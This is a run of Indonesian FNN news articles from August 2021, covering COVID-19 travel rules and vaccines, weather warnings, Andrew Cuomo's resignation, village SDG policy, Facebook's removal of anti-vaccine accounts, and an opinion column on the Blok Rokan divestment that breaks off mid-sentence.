Manggarai Barat, menurut dia, total sebanyak 250 ribu orang. Sementara itu, Bupati Manggarai Barat Edistasius Endi mengatakan bahwa pemerintah kabupaten harus berkoordinasi dengan pemerintah provinsi dan pemerintah pusat untuk mendapat tambahan pasokan vaksin COVID-19. "Sesuai komitmen pemerintah pusat, termasuk provinsi, bahwa Manggarai Barat adalah daerah super prioritas, maka ini menjadi perhatian khusus," katanya. (sws)

BMKG: Waspadai Hujan Disertai Angin Kencang di Sumatera Utara

Medan, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) mengingatkan masyarakat agar waspada terhadap potensi hujan dengan intensitas sedang hingga lebat di Sejumlah wilayah di Sumatera Utara, Rabu. Prakirawan BBMKG Wilayah I Medan, Budi Prasetyo, dalam keterangan tertulisnya mengatakan, waspadai potensi hujan dengan intensitas sedang hingga lebat yang dapat disertai kilat/petir dan angin kencang. Kondisi tersebut dapat terjadi di wilayah Kabupaten Mandailing Natal, Kepulauan Nias, Tapanuli Tengah, Langkat, Deli Serdang, Medan, Simalungun, Humbang Hasundutan dan sekitarnya," katanya. Secara umum kondisi cuaca siang hari berawan dan Berpotensi Hujan Ringan hingga Sedang di Wilayah Kep Nias, Tapanuli Tengah, Sibolga, Pakpak Bharat, Mandailing Natal, Langkat, Deli Serdang, Medan, Humbang Hasundutan, Asahan dan sekitanya Sore-malam hari berpotensi hujan ringan hingga lebat di wilayah Kepulauan Nias, Tapanuli Tengah, Humbang Hasundutan, Mandailing Natal, Samosir, Simalungun, Medan, Langkat, Deli Serdang, Toba, Binjai, Serdang Bedagai, dan sekitarnya . Dini hari berawan dan berpotensi hujan dengan intensitas ringan di wilayah Langkat, Medan dan sekitarnya.Suhu udara 24.0-33.0 derajat Celcius, kelembapan udara 60-99 persen angin berhembus dari Tenggara-Barat Laut dengan kecepatan 10 – 30 km/jam. (mth)

Lecehkan 11 Perempuan, Gubernur New York Andrew Cuomo Mundur

New York, FNN - Gubernur New York Andrew Cuomo pada Selasa (10/8) menyatakan mundur setelah hasil penyelidikan menyatakan bahwa ia pernah melakukan pelecehan seksual terhadap 11 perempuan. Cuomo mundur di tengah peningkatan tekanan hukum yang ia hadapi. Selain itu juga tuntutan dari Presiden Amerika Serikat, Joe Biden, agar ia mundur dari jabatannya. Tokoh Demokrat yang sejak 2011 menjabat gubernur negara bagian terpadat keempat di AS tersebut menyatakan mundur satu pekan setelah Jaksa Agung New York, Letitia James mengumumkan hasil penyelidikan soal Cuomo. Menurut investigasi independen yang dijalankan selama lima bulan, Cuomo telah melanggar hukum federal dan negara bagian. Dikutip dari Antara, Rabu (11/8), saat menyampaikan pidato selama 20 menit di televisi, Cuomo (63 tahun) mengatakan pengunduran dirinya akan berlaku dalam 14 hari. Walaupun mundur sebagai gubernur, Cuomo berkeras ia tidak melakukan kesalahan. Namun, katanya, ia menerima kenyataan "bertanggung jawab penuh" atas tindakan yang tidak tepat ketika ingin menunjukkan dirinya adalah orang yang hangat dan humoris. Ia menyimpulkan, melawan tuduhan sambil tetap menjalankan jabatannya akan melumpuhkan pemerintahan negara bagian. Selain itu, juga menimbulkan kerugian jutaan dolar bagi para pembayar pajak saat pandemi virus corona masih menjadi ancaman utama. "Saya berpikir, mengingat situasi seperti itu, yang terbaik bisa saya lakukan saat ini adalah menyingkir dan biarkan pemerintahan menjalankan tugasnya -- dan dengan demikian itulah yang akan saya lakukan," ujar Cuomo. Dengan mengundurkan diri, Cuomo terhindar dari kemungkinan dipecat melalui prosedur pemakzulan di badan legislatif negara bagian. Cuomo tampaknya sangat mungkin dimakzulkan karena begitu banyak anggota badan legislatif --yang dikendalikan Demokrat-- itu sudah mulai meninggalkannya. Menurut laporan penyelidikan setebal 168 halaman, Cuomo pernah meraba-raba, mencium, atau mengeluarkan komentar-komentar yang "mengarah" terhadap sejumlah perempuan. Di antara perempuan yang dilaporkan pernah mengalami tindakan Cuomo tersebut adalah para pegawai dan mantan pegawai -- salah satu di antaranya merupakan anggota kepolisian negara bagian. Laporan itu juga menyebut, Cuomo pernah melawan tuduhan dari sedikitnya satu perempuan bahwa ia melakukan pelecehan seksual terhadap perempuan tersebut. Pengunduran diri Cuomo menjadi puncak kejatuhan salah satu politisi terkemuka di AS itu. Dengan perkembangan terkini, karier politik yang telah sekian lama dijalani Cuomo tergelincir. Ia pernah terlihat mengincar kemungkinan bertarung dalam pemilihan presiden. Cuomo adalah politisi terbaru New York yang terpaksa mundur dari jabatan saat diduga terlibat skandal. Tahun 2008, Gubenur New York, Eliot Spitzer mengundurkan diri karena melindungi para pekerja seks. Gubernur yang menggantikan Spitzer, David Paterson, pada 2010 batal ikut kampanye untuk terpilih lagi. Ia saat itu menghadapi tuduhan mengancam saksi serta melakukan beberapa pelanggaran lain. Anggota Dewan Perwakilan Rakyat AS, Anthony Weiner pada 2011 mundur dalam skandal pengiriman pesan singkat berbau seksual. Pada 2018, Jaksa Agung New York, Eric Schnedierman mengundurkan diri setelah empat perempuan menuduh dia melakukan pelecehan. Cuomo juga menjadi pria sangat berpengaruh berikutnya yang dalam beberapa tahun belakangan ini jatuh dari kekuasaan setelah kemunculan #MeToo, gerakan masyarakat untuk menentang pelecehan dan kekerasan seksual. #MeToo telah mengguncang dunia politik, Hollywood, bisnis, dan perusahaan. Mantan ajudan Cuomo, Lindsay Boylan, merupakan perempuan pertama yang secara terbuka melemparkan tuduhan terhadap Cuomo pada Desember tahun lalu. Saat itu, Boylan mengatakan di Twitter bahwa Cuomo masih saja bersikap "kasar" dengan melakukan serangan terhadap korban-korbannya. "Harapan saya adalah perempuan-perempuan lainnya akan lebih aman untuk melaporkan pelecehan dan kekerasan seksual yang mereka alami," tulisnya. Cuomo telah berbulan-bulan menyangkal tuduhan pelecehan seksual. Ia kembali mengeluarkan bantahan setelah laporan investigasi tersebut dikeluarkan. Namun, dukungan politik terhadapnya runtuh setelah hasil penyelidikan itu muncul ke ruang publik. Beberapa jam kemudian, Joe Biden, kawan lamanya, mengatakan menurutnya Cuomo harus mundur. "Saya menghormati keputusan gubernur," kata Biden kepada para wartawan, Selasa, di Gedung Putih. Cuomo sudah tiga kali terpilih menjadi gubernur --masing-masing masa jabatan berlangsung empat tahun, demikian pula dengan ayahnya, Mario Cuomo. Sama seperti ayahnya, Andrew Cuomo tidak pernah mencalonkan diri sebagai presiden meski spekulasi beredar, ia kemungkinan punya ambisi seperti itu. Cuomo pada awal masa pandemi Covid-19 tahun lalu menuai pujian --dianggap sebagai seorang pemimpin nasional-- setelah ia menggelar konferensi pers setiap hari ketika negara bagian yang ia pimpin menjadi pusat krisis kesehatan publik di Amerika Serikat. (MD).

Mendes PDTT: Pembangunan Desa Masih Terfokus pada Infrastruktur

Jakarta, FNN - Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT) Abdul Halim Iskandar menyatakan bahwa pembangunan desa masih terfokus pada pembangunan infrastruktur desa. Fokus pada pembangunan infrastruktur mengakibatkan upaya pemberdayaan masyarakat adat belum terwujud secara maksimal, ujar Gus Menteri, sapaan akrab dari Abdul Halim Iskandar, ketika dihubungi oleh ANTARA dari Jakarta, Rabu. Sebagai upaya agar pemberdayaan masyarakat adat di desa administrasi (non desa adat) dapat terwujud, maka secara khusus dalam Peraturan Menteri Desa PDTT Nomor 20 Tahun 2021 tentang Pembangunan Desa dan Pemberdayaan Masyarakat Desa telah dibuka peluang pendayagunaan sumber daya pembangunan desa untuk pemberdayaan masyarakat adat. “Caranya adalah menambah tujuan SDGs (Sustainable Development Goals, Red),” kata Gus Menteri. Sustainable Development Goals atau Tujuan Pembangunan Berkelanjutan merupakan program yang dirumuskan oleh Perserikatan Bangsa-Bangsa (PBB) untuk diimplementasikan di seluruh negara anggota PBB demi mencapai kesejahteraan bersama yang berkelanjutan. Dalam Tujuan Pembangunan Berkelanjutan yang berlaku secara global, terdapat 17 tujuan yang saling berkaitan dan menjadi acuan bagi Pemerintah untuk membuat kebijakan. Sedangkan, dalam rangka memberdayakan masyarakat adat, Kementerian Desa menambahkan satu tujuan lagi. “SDGs Desa ke-18 adalah Kelembagaan Desa Dinamis dan Budaya Desa Adaptif,” ujarnya pula. Sedangkan, 17 tujuan lainnya diadaptasi dari 17 tujuan global, Desa Tanpa Kemiskinan, Desa Tanpa Kelaparan, Desa Sehat dan Sejahtera, Pendidikan Desa Berkualitas, Keterlibatan Perempuan Desa, Desa Layak Air Bersih dan Sanitasi, Desa Berenergi Bersih dan Terbarukan, Pertumbuhan Ekonomi Desa Merata, dan Infrastruktur dan Inovasi Desa Sesuai Kebutuhan. Selanjutnya, terdapat Desa Tanpa Kesenjangan, Kawasan Permukiman Desa Aman dan Nyaman, Konsumsi dan Produksi Desa Sadar Lingkungan, Desa Tanggap Perubahan Iklim, Desa Peduli Lingkungan Laut, Desa Peduli Lingkungan Darat, Desa Damai Berkeadilan, dan Kemitraan untuk Pembangunan Desa. Adapun dasar pemikiran dari SDGs Desa ke-18 adalah untuk menghargai keberadaan bangsa Indonesia yang sangat beragam dalam agama, budaya, bahasa, adat istiadat, dan lain-lain. Dasar pemikiran lainnya adalah untuk menampung kearifan lokal masyarakat dan kelembagaan desa yang produktif agar bertahan, bahkan berkembang. Gus Menteri mengatakan bahwa upaya pencapaian SDGs Desa ke-18 saat ini sedang difasilitasi ke desa-desa oleh Kementerian Desa PDTT. Hal ini menunjukkan komitmen kementerian dalam mengutamakan pemberdayaan masyarakat adat dalam Pembangunan Desa dan Pemberdayaan Masyarakat Desa. “Semoga dengan kebijakan ini, masyarakat adat yang ada di desa-desa di Indonesia dapat memperoleh kesejahteraan hidup yang lebih baik,” kata Gus Menteri menyampaikan harapannya. (mth)

Mendes PDTT: Pembangunan Desa Masih Terfokus Pada Infrastruktur

Jakarta, FNN - Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT) Abdul Halim Iskandar menyatakan bahwa pembangunan desa masih terfokus pada pembangunan infrastruktur desa. Fokus pada pembangunan infrastruktur mengakibatkan upaya pemberdayaan masyarakat adat belum terwujud secara maksimal, ujar Gus Menteri, sapaan akrab dari Abdul Halim Iskandar, ketika dihubungi oleh ANTARA dari Jakarta, Rabu. Sebagai upaya agar pemberdayaan masyarakat adat di desa administrasi (non desa adat) dapat terwujud, maka secara khusus dalam Peraturan Menteri Desa PDTT Nomor 20 Tahun 2021 tentang Pembangunan Desa dan Pemberdayaan Masyarakat Desa telah dibuka peluang pendayagunaan sumber daya pembangunan desa untuk pemberdayaan masyarakat adat. “Caranya adalah menambah tujuan SDGs (Sustainable Development Goals, Red),” kata Gus Menteri. Sustainable Development Goals atau Tujuan Pembangunan Berkelanjutan merupakan program yang dirumuskan oleh Perserikatan Bangsa-Bangsa (PBB) untuk diimplementasikan di seluruh negara anggota PBB demi mencapai kesejahteraan bersama yang berkelanjutan. Dalam Tujuan Pembangunan Berkelanjutan yang berlaku secara global, terdapat 17 tujuan yang saling berkaitan dan menjadi acuan bagi Pemerintah untuk membuat kebijakan. Sedangkan, dalam rangka memberdayakan masyarakat adat, Kementerian Desa menambahkan satu tujuan lagi. “SDGs Desa ke-18 adalah Kelembagaan Desa Dinamis dan Budaya Desa Adaptif,” ujarnya pula. Sedangkan, 17 tujuan lainnya diadaptasi dari 17 tujuan global, Desa Tanpa Kemiskinan, Desa Tanpa Kelaparan, Desa Sehat dan Sejahtera, Pendidikan Desa Berkualitas, Keterlibatan Perempuan Desa, Desa Layak Air Bersih dan Sanitasi, Desa Berenergi Bersih dan Terbarukan, Pertumbuhan Ekonomi Desa Merata, dan Infrastruktur dan Inovasi Desa Sesuai Kebutuhan. Selanjutnya, terdapat Desa Tanpa Kesenjangan, Kawasan Permukiman Desa Aman dan Nyaman, Konsumsi dan Produksi Desa Sadar Lingkungan, Desa Tanggap Perubahan Iklim, Desa Peduli Lingkungan Laut, Desa Peduli Lingkungan Darat, Desa Damai Berkeadilan, dan Kemitraan untuk Pembangunan Desa. Adapun dasar pemikiran dari SDGs Desa ke-18 adalah untuk menghargai keberadaan bangsa Indonesia yang sangat beragam dalam agama, budaya, bahasa, adat istiadat, dan lain-lain. Dasar pemikiran lainnya adalah untuk menampung kearifan lokal masyarakat dan kelembagaan desa yang produktif agar bertahan, bahkan berkembang. Gus Menteri mengatakan bahwa upaya pencapaian SDGs Desa ke-18 saat ini sedang difasilitasi ke desa-desa oleh Kementerian Desa PDTT. Hal ini menunjukkan komitmen kementerian dalam mengutamakan pemberdayaan masyarakat adat dalam Pembangunan Desa dan Pemberdayaan Masyarakat Desa. “Semoga dengan kebijakan ini, masyarakat adat yang ada di desa-desa di Indonesia dapat memperoleh kesejahteraan hidup yang lebih baik,” kata Gus Menteri menyampaikan harapannya. (sws)

Presiden Apresiasi Pameran Foto Bulan Kemerdekaan HUT Ke-76 RI

Jakarta, FNN - Presiden RI Joko Widodo mengapresiasi pelaksanaan Pameran Foto Bulan Kemerdekaan HUT ke-76 RI, yang diselenggarakan oleh Pewarta Foto Istana Kepresidenan dan Pewarta Foto Indonesia di Jakarta. "Presiden kemarin bertemu mas Randi (Ketua Pelaksana pameran), beliau mengapresiasi," ujar Deputi Bidang Protokol, Pers, dan Media Sekretariat Presiden Bey Machmudin saat menghadiri pembukaan pameran tersebut di Mall Central Park, Jakarta, Rabu, sebagaimana disaksikan secara virtual. Bey menyampaikan, pameran yang menampilkan ratusan karya foto pewarta Indonesia tersebut turut menyampaikan secara nyata bukti kerja pemerintah khususnya dalam penanganan pandemi COVID-19. "Jadi beliau (Presiden) sangat mengapresiasi. Sebaiknya diadakan setiap tahun," ujar Bey. Kepala Sekretariat Presiden Heru Budi Hartono juga mengapresiasi penyelenggaraan pameran foto tersebut. Heru berharap pameran foto dapat diselenggarakan lebih besar dengan peserta yang lebih banyak di tahun berikutnya. "Hari ini tanggal 11 Agustus 2021 saya Heru Budi Hartono Kepala Sekretariat Presiden, menyatakan per hari ini pameran foto di Central Park dibuka, dan bisa dinikmati. Selamat menikmati," ujar Heru. Pameran Foto Bulan Kemerdekaan HUT ke-76 RI diselenggarakan di Mall Central Park, Jakarta, dan dapat dinikmati baik secara langsung di lokasi maupun secara virtual melalui website www.indonesiamembangun.id. Pameran akan berlangsung mulai tanggal 11-22 Agustus 2021. (mth)

Pansus DPRA Temukan Jembatan Rp12 Miliar Dikerjakan Tak Profesional

Banda Aceh, FNN - Tim Panitia Khusus (Pansus) DPR Aceh (DPRA) menemukan adanya jembatan yang dibangun dengan anggaran Rp12 miliar dikerjakan tidak profesional di wilayah Kabupaten Aceh Barat Daya (Abdya), baru selesai dibangun sudah dalam kondisi retak-retak. "Abutment (kepala jembatan, Red) dalam kondisi retak-retak, dan oprit yang turun, kondisi ini tentu sangat kami sayangkan, anggaran sebesar itu dikerjakan dengan tidak profesional," kata Ketua Pansus LHP BPK Dapil 9 DPRA Irpannusir, di Banda Aceh, Selasa. Menurut Irpannusir, terkait rusaknya jembatan yang dibangun dengan dana APBA 2020 itu, diminta kepada rekanan untuk segera memperbaikinya. Namun, bukan hanya menempelkan semen untuk menutupi keretakan, atau sekadar menimbun bagian oprit yang sudah mulai turun. "Kami khawatir kalau tidak diperbaiki, jika diterjang air besar bisa saja jembatan akan ambruk, apalagi beberapa bulan ke depan diperkirakan intensitas hujan akan meningkat, secara otomatis debit air sungai juga pasti deras. Ini sangat tidak kita diharapkan," ujarnya. Selain itu, Irpannusir mengatakan, pansus juga menemukan tiga alat praktik siswa di salah satu SMK (sekolah menengah kejuruan) di Kecamatan Susoh, Abdya yang tidak berfungsi. Padahal, menurut Irpannusir lagi, pihak sekolah sudah menyampaikan kepada rekanan pengadaan agar segera memperbaiki, tetapi tidak diindahkan. Karena itu, pihaknya meminta segera diperbaiki mengingat para siswa sudah mulai belajar secara tatap muka. "Jika tidak segera diperbaiki tentu kami minta Inspektorat mengaudit pekerjaan pengadaan tersebut," katanya pula. Irpannusir menuturkan pula bahwa Pansus DPRA juga menemukan hal positif, seperti penyaluran bibit padi dan pupuk secara tepat sasaran, sehingga masyarakat tani di wilayah Desa Pawoh Kecamatan Susoh Abdya merasa terbantu. "Warga mengucapkan terima kasih kepada pemerintah provinsi atas bantuan tersebut, sekaligus berharap agar setiap tahunnya memberikan bantuan bibit dan pupuk untuk petani," demikian Irpannusir. (sws)

Pemerintah Berlakukan Aturan Baru Perihal Transportasi Udara Dalam Negeri

Jakarta, FNN - Satuan Tugas Penanganan COVID-19 mulai memberlakukan aturan baru mengenai perjalanan orang lewat jalur udara di dalam negeri pada masa pandemi COVID-19 yang tertuang dalam Surat Edaran Nomor 17 Tahun 2021. Surat Edaran Satuan Tugas Nomor 17 Tahun 2021 tentang ketentuan perjalanan orang dalam negeri pada masa pandemi COVID-19 diberlakukan mulai Rabu, 11 Agustus 2021, sampai waktu yang belum ditentukan dan akan dievaluasi sesuai perkembangan keadaan. Surat Edaran antara lain menyebutkan bahwa pelaku perjalanan pengguna sarana transportasi udara yang datang ke wilayah Jawa-Bali atau berangkat dari wilayah Jawa-Bali atau daerah pemberlakuan pembatasan kegiatan masyarakat (PPKM) Level 3 dan 4 harus membawa kartu vaksinasi minimum dosis pertama dan hasil negatif tes RT-PCR yang sampelnya diambil maksimal 2x24 jam sebelum keberangkatan. Orang yang melakukan perjalanan antar-kota atau kabupaten di dalam wilayah Jawa-Bali harus membawa kartu vaksinasi COVID-19 dosis lengkap dan hasil negatif tes RT-PCR yang sampelnya diambil maksimal 2X24 jam atau kartu vaksinasi dosis pertama dan hasil tes antigen yang sampelnya diambil maksimal 1X24 jam sebelum berangkat. Pengguna moda transportasi laut, darat, dan sarana angkutan yang lain dari dan ke Jawa-Bali serta daerah PPKM Level 3 dan 4 wajib menunjukkan kartu vaksinasi dosis satu dan hasil tes RT-PCR (maksimal 2x24 jam) atau tes antigen (maksimal 1x24 jam). Dalam perjalanan menggunakan sarana transportasi udara di wilayah kabupaten atau kota tujuan dan keberangkatan di wilayah selain Jawa Bali yang termasuk daerah PPKM Level 1 dan 2, pelaku perjalanan wajib menunjukkan kartu vaksinasi minimum dosis pertama serta hasil negatif tes RT-PCR yang sampelnya diambil maksimal 2x24 jam sebelum berangkat atau tes antigen yang sampelnya diambil maksimal 1x24 jam sebelum berangkat. Menurut Surat Edaran Satuan Tugas Penanganan COVID-19, anak-anak berusia di bawah 12 tahun untuk sementara tidak boleh melakukan perjalanan di dalam negeri antar-batas wilayah administrasi provinsi/kabupaten/kota. “Surat edaran ini selaras dengan dengan ketentuan tentang perpanjangan PPKM yang mulai berlaku hari ini. Para pelaku perjalanan mesti diatur agar mobilitas yang terjadi tidak menjadi sumber penularan baru COVID-19 ,” kata Juru Bicara Satuan Tugas Penanganan COVID-19 Prof. Wiku Adisasmito dalam keterangan tertulis yang diterima di Jakarta, Rabu. Juru Bicara Kementerian Perhubungan Adita Irawati menyatakan, Kementerian Perhubungan menindaklanjuti Instruksi Menteri Dalam Negeri Nomor 30 hingga 32 Tahun 2021 dan Surat Edaran Satuan Tugas Nomor 17 dan 18 tahun 2021 dengan menerbitkan surat edaran mengenai pelayanan transportasi udara. Kementerian Perhubungan menerbitkan Surat Edaran Nomor 62 Tahun 2021 tentang petunjuk pelaksanaan perjalanan orang dalam negeri dengan transportasi udara pada masa pandemi COVID-19 dan Surat Edaran Nomor 63 Tahun 2021 tentang petunjuk pelaksanaan perjalanan internasional dengan transportasi udara pada masa pandemi COVID-19. “Sama dengan SE Satgas, SE Kemenhub ini berlaku mulai 11 Agustus 2021. Sementara untuk transportasi darat, laut, dan kereta api masih tetap menggunakan Surat Edaran yang berlaku saat ini karena tidak ada perubahan dalam syarat perjalanan,” tutur Adita. (mth)

Anggota DPR: Masyarakat Jangan Lengah Meski Kasus COVID-19 Turun

Jakarta, FNN - Anggota Komisi IX DPR RI Nurhadi mengimbau masyarakat agar tidak lengah walaupun kasus COVID-19 mulai menurun dan juga penyesuaian kebijakan PPKM. Nurhadi dalam keterangan pers diterima di Jakarta Rabu, menyebutkan pemerintah telah memperpanjang pemberlakuan pembatasan kegiatan masyarakat (PPKM) berbasis level 4, 3, dan 2 di Jawa dan Bali mulai tanggal 10 sampai dengan 16 Agustus 2021. Kemudian, pemerintah memberikan kelonggaran sejumlah sektor di wilayah PPKM level 4 pada Jawa-Bali, di antaranya pembukaan mal atau pusat perbelanjaan, tempat ibadah, hingga sektor esensial basis ekspor. "Pelonggaran itu hendaknya tidak membuat kita lengah, tapi sebaiknya semakin meningkatkan kesadaran untuk mematuhi protokol kesehatan dan berbagai kebijakan yang diatur selama PPKM," kata Nurhadi. Dia mengatakan kesadaran masyarakat untuk mematuhi protokol kesehatan tentu membutuhkan panutan dan teladan dari para tokoh. Para tokoh masyarakat, tokoh agama, dan politisi seharusnya menjadi panutan masyarakat dalam pelaksanaan sejumlah kebijakan pengendalian COVID-19 di tanah air. Para tokoh agama dan politisi, lanjut Nurhadi, bukan justru memberi contoh melanggar kebijakan yang berdampak akan menghambat upaya-upaya pengendalian COVID-19 di negeri ini. "Selama pelaksanaan PPKM secara kuantitatif angka positif memang mengalami penurunan. Namun, kita jangan lantas merasa bebas," ujarnya. Menurut dia setidaknya PPKM ini membuka kesadaran masyarakat akan pentingnya protokol kesehatan. Di sisi lain, kata dia, pemerintah bisa fokus melakukan langkah kuratif terhadap pasien positif COVID-19, baik yang isolasi mandiri maupun yang dirawat di rumah sakit. Dia menilai langkah pemerintah itu berdampak baik terhadap peningkatan pasien yang sembuh dan keterisian rumah sakit (BOR/bed occupancy rate) menjadi lebih longgar. Dia juga mendorong agar testing dan tracing harus konsisten dalam jumlahnya. Diketahui, pemerintah melakukan uji coba pembukaan secara bertahap untuk mal atau pusat perbelanjaan di wilayah dengan level 4 dengan memperhatikan implementasi protokol kesehatan. Uji coba pembukaan pusat perbelanjaan atau mal dilakukan. Untuk beberapa kota di level 4 seperti di kota Jakarta, Bandung, Surabaya, dan Semarang dengan pelaksanaan pembukaan pusat perbelanjaan atau mal dengan kapasitas 25 persen selama seminggu ke depan, dengan protokol kesehatan yang ketat. Masyarakat yang sudah divaksinasi dapat masuk ke mal dan harus menggunakan aplikasi peduli lindungi, anak umur di bawah 12 tahun dan kelompok usia di atas 70 tahun dilarang masuk ke dalam mal atau pusat perbelanjaan. Namun, apabila terjadi lonjakan kasus yang tidak diinginkan di zona tersebut maka pemerintah akan kembali menerapkan opsi pengetatan. (sws)

Facebook Hapus Akun Rusia Provokasi Anti-Vaksin

Jakarta, FNN - Facebook mengumumkan sudah menghapus jaringan akun dari Rusia yang berhubungan dengan perusahaan pemasaran yang ingin mendorong konten anti-vaksin COVID-19. Dikutip dari Reuters, Rabu, akun-akun yang dihapus berhubungan dengan perusahaan Fazze, anak perusahaan pemasaran dari Inggris Raya bernama AdNow, yang beroperasi di Rusia karena melanggar kebijakan Facebook soal campur tangan asing. Menurut Facebook, kampanye mereka menargetkan pengguna di India, Amerika Latin dan sedikit Amerika Serikat. Akun yang diturunkan berjumlah 65 di Facebook dan 243 di Instagram, yang berhubungan dengan Fazze. Menurut Facebook, dari 24.000 pengguna, setidaknya mengikuti satu atau lebih akun-akun tersebut. Hasil investigasi Facebook menunjukkan kampanye tersebut berupa artikel dan petisi yang disebarkan di forum Reddit, Medium dan Change.org. Konten itu kemudian diamplifikasi melalui akun palsu di Facebook dan Instagram. Kampanye anti-vaksin ini melibatkan pemengaruh (influencer) berbayar, namun, sebagian besar gagal. Cara kerja mereka, menurut Facebook, yaitu membuat akun palsu mulai 2020 berasal dari Bangladesh dan Pakistan, namun, mengaku dari India. Mereka mengunggah meme dan memberikan komtentar, pada November dan Desember 2020, bahwa vaksin COVID-19 AstraZeneca bisa mengubah manusia menjadi simpanse. Mereka mengambil gambar dari film "Planet of the Apes". Facebook juga menemukan pemengaruh di bidang kesehatan di Instagram menggunakan tanda pagar dari kampanye tersebut. Kemudian, pada Mei 2021, setelah lima bulan tidak aktif, mereka mempertanyakan keamanan vaksin Pfizer bermodal dokumen yang bocor dari AstraZeneca. Tim penyelidik Facebook menemukan operasi akun-akun tersebut bertepatan dengan diskusi pemerintah di sejumlah negara mengeluarkan izin darurat menggunakan vaksin. Berdasarkan laporan dari berbagai media, Fazze menghubungi pemengaruh di YouTube, Instagram dan TikTok di beberapa negara untuk mengunggah konten anti-vaksin tersebut. Tapi, pemengaruh asal Prancis dan Jerman membongkar aksi ini. Menurut Facebook, hasil investigasi mereka masih menyisakan siapa yang memerintah Fazze.(mth)

Antara Virus Covid-19 dan Kolesterol

Jakarta, FNN - Hasil riset terbaru menunjukkan bahwa virus Covid-19 membutuhkan kolesterol yang ada di membran sel tubuh kita agar bisa menginfeksi sel tersebut. Jadi menurunkan kadar kolesterol dengan obat kelompok Statin. Misal: simvastatin, pada pasien Covid akan memberikan hasil terapi yang lebih baik. “Karena Statin bisa mencegah virus untuk masuk ke dalam sel, dengan cara menghilangkan kolesterol dari membran sel,” ungkap Arie Karimah, Pharma-Excellent alumni ITB. Mari kita kenali dulu apa itu kolesterol. Menurut Arie Karimah, salah satu fungsi kolesterol memang sebagai penyusun membran sel. Dan di tubuh kita itu ada 100 triliun sel. Struktur kolesterol dan posisinya di membran sel. Tapi kalau bicara tentang kelompok Statin, itu adalah obat untuk menurunkan kadar Lipoprotein di dalam darah, bukan di sel. Lipoprotein adalah zat yang komponennya ada 4: kolesterol, trigliserida, protein dan fosfolipid. Lipoprotein yang paling terkenal adalah: LDL (kolesterol jahat) dan HDL (kolesterol baik). Keduanya dibedakan berdasarkan komposisi keempat penyusun lipoprotein itu. Statin berfungsi Menurunkan kadar LDL di dalam darah dan menaikkan kadar HDL. Sekarang kembali lagi: Kolesterol adalah komponen membran dari 100 triliun sel. Anggap saja ini sama dengan satu kecamatan. Sel yang bisa diinfeksi oleh virus Covid adalah sel yang memiliki “pintu” (reseptor) bernama ACE-2 (Angiotensin-Converting Enzyme tipe 2). Dan, sel yang memiliki “pintu” itu adalah sel-sel di saluran pernafasan. Kira-kira setaralah dengan satu kompleks perumahan. Lantas apakah agar virus tidak bisa memasuki rumah di satu kompleks itu maka seluruh pintu dan jendela rumah satu kecamatan harus dihilangkan? Meskipun tidak ada hubungannya? Ini ongkos ynag terlalu mahal, karena kolesterol Bukan Hanya dibutuhkan untuk menyusun membran sel yang memiliki pintu ACE-2, melainkan Semua Sel. Kolesterol juga dibutuhkan untuk produksi hormon seks dan fungsi memori. Jadi kalau Tanpa Justifikasi Klinis, misal: kadar LDL memang tinggi atau ada batu empedu akibat kadar kolesterol di dalam darahnya tinggi, maka Sungguh Tidak Tepat memberikan kelompok Satin kepada pasien Covid dengan alasan untuk menurunkan kadar kolesterol dan “menghilangkan pintu masuk” virus ke dalam sel. Karena hal ini akan mengganggu keutuhan dan regenerasi membran di seluruh sel tubuh kita. Bisa-bisa daya ingat dan hasrat seksual pasien juga menjadi turun. “Nanti butuh Aricept dan Viagra pula pada masa pemulihannya,” tulis Arie Karimah dalam akun Facebook-nya. “Jadi nggak bisa main hantam kromo begitu. Ilmu Kedokteran dan Farmasi memang tidak bisa dipelajari dengan sambil lalu sembari makan sepiring nasi goreng,” ujarnya. (mth)

Alih Kelola Blok Rokan (2): Menggugat Rencana Divestasi Saham Pro Oligarki!

Oleh Marwan Batubara, PENGELOLAAN Blok Rokan (BR) resmi beralih dari Chevron (Chevron Pacific Indonesia, CPI) ke Pertamina (Pertamina Hulu Rokan, PHR) pada 9 Agustus 2021. Blok migas di Riau tersebut dikelola perusahaan Amerika hampir satu abad, sejak dari Socal (1924), Socal & Texaco (1936), berubah jadi Caltex (1960) dan Chevron (2005). Minyak yang dihasilkan berasal dari lapangan Duri, Minas, Kotabatak, Bekasap, Bangko, dll. Sebagian besar cadangan minyak telah terkuras dengan total akumulasi (menurut SKK Migas) sekitar 11,69 miliar barel. Pada tulisan pertama dibahas aspek teknis operasional alih kelola Blok Rokan. Karena kontrak PHR menggunakan skema gross split, penerimaan negara sangat potensial turun, terutama karena GCG dan independensi BUMN sangat minimalis. SKK Migas tidak lagi terlibat pengawasan dan pengendalian kontrak. Di sisi lain, intervensi oknum-oknum penguasa partai dan oligarki penguasa-pengusaha sangat dominan. Dalam aspek bisnis finansial, negara pun sangat potensial dirugikan akibat kewajiban divestasi saham (participating Interest, PI). Padahal Blok Rokan telah berproduksi, risiko bisnis rendah, pendapatan kotor rutin sekitar 3,92 miliar/tahun, dan keahlian SDM tersedia, sehingga mitra melalui divestasi sebenarnya tidak diperlukan. Pada tulisan ke-2 ini dibahas aspek-aspek bisnis-finasial dan legal-konstitusional terkait rencana divestasi saham/PI PHR. Tujuannya untuk memperlihatkan bahwa rencana divestasi saham yang diwajibkan Kementrian ESDM tersebut merupakan hal yang harus digugat dan dihentikan, karena melanggar konstitusi/aturan dan berpotensi merugikan negara ratusan triliun rupiah. Proses divestasi saham PHR melibatkan nilai aset negara berorde ribuan triliun. Meski telah diekspolitasi sejak 1936, Rokan masih menyimpan cadangan terbukti dan potensial 1,5 –2,5 miliar barel. Jika diasumsikan harga minyak sama dengan harga rata-rata 10 tahun terakhir (US$ 66 per barel), maka nilai bruto aset cadangan tersebut berkisar US$ 99 miliar hingga US$ 165 miliar. Pada kurs US$/Rp=14.000, maka nilai bruto aset adalah Rp 1.386 triliun –Rp 2.310 triliun. Untuk selanjutnya, aset tersebut diasumsikan 2 miliar barel atau sekitar Rp 1.848 triliun. Disebutkan PI milik PHR yang akan didivestasi 39%. Dari aspek bisnis finansial, maka kita bicara soal pengalihan hak pengelolaan aset negara bernilai 39% x Rp 1.848 triliun = Rp 720 triliun! Publik pantas ragu dan perlu menggugat bahwa ditengarai proses divestasi tidak berjalan sesuai aturan, sarat moral hazard, dan penuh rekayasa kebijakan pro-oligarki. Biaya akuisisi cadangan migas yang berlaku umum secara global 